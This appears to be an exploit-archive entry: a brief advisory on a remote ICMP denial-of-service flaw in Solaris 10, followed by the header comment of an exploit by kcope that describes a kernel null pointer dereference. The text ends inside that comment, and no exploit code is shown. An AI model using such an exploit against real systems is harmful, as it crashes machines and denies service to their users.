Sun Solaris is prone to a remote denial-of-service vulnerability.

A successful attack can trigger a crash in the operating system, leading to a denial-of-service condition for legitimate users.

Solaris 10 is affected by this issue. 

/*
 SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope
 Null Pointer Dereference in Kernel Space
 Seems to work only if attacked in the same network segment,
 maybe because of firewalls/routers in place.
 
 This seems to be the issue described in bid 22323.
